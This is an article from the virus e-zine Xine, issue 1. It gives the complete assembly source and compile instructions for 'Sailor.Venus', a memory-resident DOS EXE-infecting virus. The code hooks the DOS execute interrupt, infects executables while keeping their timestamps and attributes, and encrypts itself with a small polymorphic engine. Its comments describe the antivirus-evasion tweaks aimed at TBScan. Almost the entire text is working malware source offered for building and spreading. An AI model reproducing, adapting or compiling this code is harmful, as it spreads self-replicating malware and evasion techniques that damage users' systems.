/-----------------------------\ | Xine - issue #1 - Phile 020 | \-----------------------------/ ; ; ; ...once again... ; b0z0 of the iKx presents ; Sailor.Venus ; ; Here is the second member of my Pretty Sailors family. It's a simple EXE ; infector that infect on execute (4bh). Of course it will preserve attributes, ; time and date of creation. The virus will fill the last page with shit stuff ; and will place itself on a new one. The virus has a small polymorphic crap. ; The size of the decriptor is fixed (0fh bytes). The encryption/decryption ; routine use the ADD/SUB/XOR operations on bytes or words (randomly selected) ; with a random value. When operating on a byte/word the used register is DI ; or SI. All the code isn't everytime encrypted, infact the mutation routine ; can generate decryptors that encrypt every second (or third) byte when ; encrypting bytes and can generate decryptors that encrypt a word and leave ; clear a byte when encrypting words. ; This is my first attempt to create a small quite polymorphic engine, and ; i promise that the next time it will be smaller, not as scannable as this, ; and also a little more poly. :) ; ; have phun! ; ; To compile: ; TASM /M2 VENUS.ASM ; TLINK VENUS .model tiny .code assume cs:@code org 0h entry_point: start_code: ;; this code will be overwritten by the decryptor - FG use only ;; tempzone db 0dh dup (90h) push cs pop ds ;; here finish the overwritten code ;; call install_in_memory ;let's go push es pop ds mov ax,es ;vic_cs points on old proggy add ax,10h add cs:[vic_cs],ax cli ;restore old ss:sp mov sp,word ptr cs:[vic_sp] add ax,word ptr cs:[vic_ss] mov ss,ax sti sub ax,ax ;put zeros in regs sub dx,dx xor bx,bx sub cx,cx xor di,di sub si,si db 0eah ; jmp far to the old program vic_ip dw 00000h vic_cs dw 0fff0h ; for the first gen go to PSP:00h -> int 20h vic_sp dw ? vic_ss dw ? install_in_memory: push es push cs pop ds mov ax,6b2dh ; check if we are resident int 21h cmp ah,al je go_away push es mov ax,3521h ; get int 21 adress int 21h mov word ptr [old_int21_off],bx ;store int21 offset mov word ptr [old_int21_seg],es ; and segment pop es mov ax,es ; es=psp dec ax ; psp-1=mcb mov ds,ax ; DS = segment of programs mcb sub si,si l4mcb: ; look for last mcb in chain cmp byte ptr [si],'Z' ; is the last? je last inc ax add ax,word ptr [si+03h] ; nope, search for last mov ds,ax jmp l4mcb last: sub word ptr [si+03h],code_size_para ; = mcb+03h add ax,word ptr [si+03h] sub word ptr [si+12h],code_size_para ; = psp+02h inc ax ; AX first usable segment cld sub di,di ; di=0 push cs pop ds ; ds points on code mov cx,(code_size+1)/2 mov es,ax ; es points on our usable segment lea si,start_code ; si points on our code rep movsw ; move virus push es mov ax,2621h ; install our interrupt handler dec ah pop ds ; get mem segment where we are located mov dx,[offset int21_handler] int 21h go_away: pop es ret int21_handler: cmp ax,6b2dh ; internal admin stuff :) jne no_check sub ah,3eh iret no_check: push bx mov bx,4b00h cmp ax,bx ; execute pop bx je exec jmp cs:old_int21 int24_handler: mov al,03h iret old_int21 label dword old_int21_off dw ? ;original int21 offset old_int21_seg dw ? ;original int21 segment ourname db 0,'Sailor.Venus',0 author db '-b0z0/iKx-',0 exec: push si push di push ax push bx push cx push dx push ds push es push bp push ds push dx mov ax,3524h ;get int24h seg and off int 21h mov word ptr cs:[old_int24_off],bx ;store them mov word ptr cs:[old_int24_seg],es lea dx,int24_handler ;set our int24h handler mov ax,2524h int 21h pop dx pop ds mov ax,4300h ;get file attributes int 21h push ds ;save ASCIIZ string with file name push dx push cx ;save attributes xor cx,cx ;delete attributes call set_attr mov ax,3d02h ;open for r/w int 21h jnc infectit jmp exit_infect infectit: mov bx,ax ;bx file handle push cs pop ds mov ax,5700h ;get time/date int 21h push dx ;store them push cx mov ah,3fh ;read da head mov cx,1ch lea dx,exehead mov si,dx int 21h cmp byte ptr [si],'M' ;is exe? je is_exe nopein: jmp not_exe is_exe: cmp byte ptr [si+01h],'Z' ;is exe? jne nopein cmp byte ptr [si+18h],'@' ;winexes? je nopein cmp word ptr [si+12h],'VS' ;sailorvenus marker? je nopein cmp word ptr [si+1ah],00h ;internal ovl? jne nopein mov cx,word ptr [si+02h] mov ax,512 sub ax,cx push ax mov al,02h ;go to the end of the file call movefile call normal ;check if _really_ no overlays pop cx cmp dx,word ptr [lendx] ;compare lseek length with ja nopein ;length of image that will cmp ax,word ptr [lenax] ;be loaded by the loader ja nopein add ax,cx ;add our alignment bytes adc dx,00h push ax push dx mov ah,40h ;write some shit to align mov dx,0f00h ;from ds:0f00 :) int 21h mov word ptr [si+02h],00h mov cx,word ptr [si+14h] ;store old IP mov vic_ip,cx mov cx,word ptr [si+16h] ;store old CS mov vic_cs,cx mov cx,word ptr [si+10h] ;store old SP mov vic_sp,cx mov cx,word ptr [si+0eh] ;store old SS mov vic_ss,cx pop dx pop ax push ax push dx mov cx,10h div cx sub ax,word ptr [si+8h] mov word ptr [si+16h],ax ;new CS mov word ptr [si+14h],dx ;new IP (will be zero) add dx,offset ourstack ;SP after us mov word ptr [si+0eh],ax ;new SS mov word ptr [si+10h],dx ;new SP pop dx ;length pop ax add ax,code_size adc dx,00h mov cx,512 div cx inc ax mov word ptr [si+04h],ax ;new nr of pages mov word ptr [si+02h],dx ;new image mod 512 mov word ptr [si+12h],'VS' ;marker push ds push si mov ax,08d00h ;some free (? :) ) mem mov es,ax sub di,di mov si,di mov cx,code_size push cx rep movsb ;copy virus in a piece of mem call muta ;mutate a little our code mov ah,40h ;write virus at end pop cx sub dx,dx int 21h pop si pop ds mov al,00h ;move at begin call movefile mov ah,3fh ;write new exe header inc ah mov cx,1ch mov dx,si int 21h not_exe: pop cx ;old date/time pop dx mov ax,5601h ;restore old date time inc ah ;don't warn tbscan heuristic int 21h mov ah,3eh ;close file int 21h exit_infect: pop cx pop dx pop ds call set_attr mov ax,2524h mov dx,cs:[old_int24_off] mov ds,cs:[old_int24_seg] int 21h ; restore int24h pop bp pop es pop ds pop dx pop cx pop bx pop ax pop di pop si jmp cs:old_int21 normal: push ax ;calculate lenght of loaded push dx ;image from header mov cx,word ptr [si+04h] mov ax,512 mul cx add ax,word ptr [si+02h] adc dx,00h mov word ptr [lenax],ax mov word ptr [lendx],dx pop dx pop ax ret movefile: ;move through the file mov ah,42h cwd ;cx=dx=00h sub cx,cx int 21h ret set_attr: ;set attributes to CX mov ax,4201h ;set attributes inc ah ;g'bye tbscan F flag int 21h ret muta: ; input es:00h ; ; the mutation routine will be something like: ; ; mov di/si,length_decryptor ; mov cx,length_encrypted_code ;dec: ; add/sub/xor byte/word ptr cs:[di/si],_immediate_ ; inc (di/si)/nop (always inc when working with words) ; inc (di/si)/nop ; inc di/si ; loop dec ; push bx lea si,enc_value ;si on encryption value mov bx,9047h ;bh=NOP bl=INC [DI] ;just a little optimized ;) in al,40h ;rnd value mov byte ptr [si],al ;encryption value mov dl,046h mov byte ptr [si-3],2eh ;write the CS: mov cx,offset enctable ;select the enc method mov di,[si+02fh] ;si+2fh --> encselected push di add di,cx mov ch,[di] mov byte ptr [si-1],ch pop cx shr cx,1 jnc isadi mov byte ptr [si-9],0beh ;on decryptor mov byte ptr [si+3],dl ;SI used cmp byte ptr [si+1],bh je nosecondinc mov byte ptr [si+1],dl nosecondinc: cmp byte ptr [si+2],bl jne finchanges mov byte ptr [si+2],dl jmp finchanges isadi: mov byte ptr [si-9],0bfh ;the selected instruction mov byte ptr [si+3],bl ;need DI operands cmp byte ptr [si+1],bh je notwoincs mov byte ptr [si+1],bl notwoincs: cmp byte ptr [si+2],dl jne finchanges mov byte ptr [si+2],bl finchanges: push si mov cx,length_dec sub di,di sub si,09h ;si on decryptor rep movsb ;copy the decryptor pop si push di mov byte ptr [si-3],bh ;no CS: in the encryptor mov di,offset dectable ;select the right encryptor mov cx,[si+02fh] sub di,cx mov ch,[di] mov byte ptr [si-1],ch dec word ptr [si+02fh] ;rotate trought the pox enc. jnz notcicle mov word ptr [si+02fh],07h notcicle: pop di push es pop ds ;ds on code to be encrypted push si push di ;di=si, so any encryption will pop si ;work correctly jmp encryptor decryptor: mov di,length_dec encryptor: mov cx,code_size-length_dec the_loop: db 2eh ;CS: our_loop: db 80h,2dh ;the encrtption method enc_value db 00h ;,immediate8 nop ;which bytes will we enc/decrypt nop inc di loop the_loop decryptor_end: pop si push ds push cs pop ds shr al,1 ;select if the next will encrypt jc tobyte ;word or bytes toword: mov byte ptr [si-2],83h ;to word mov byte ptr [si+2],bh mov byte ptr [si+1],bl ;must be two incs shr al,1 jc dontdo mov byte ptr [si+2],bl ;or three dontdo: jmp letsgo tobyte: mov byte ptr [si-2],80h ;to byte shr al,1 ;select if encrypt any byte or jnc letsgo ;only every two mov byte ptr [si+1],bh letsgo: pop ds pop bx ret encselected dw 07h enctable: ;poxible enc/dec operations db 90h db 04h ;ADD [si] db 05h ;ADD [di] db 34h ;XOR [si] db 35h ;XOR [di] db 34h ;XOR [si] db 2dh ;SUB [di] db 2ch ;SUB [si] dectable: end_code: ;anthing after this line wouldn't be in the file old_int24_off dw ? ;original int24 offset old_int24_seg dw ? ;original int24 segment lenax dw ? lendx dw ? exehead db 1dh dup(?) length_dec=decryptor_end-decryptor code_size=end_code-start_code code_size_para=((code_size+0fh)/10h)+2 lenghtstack db 256 dup (?) ourstack: end entry_point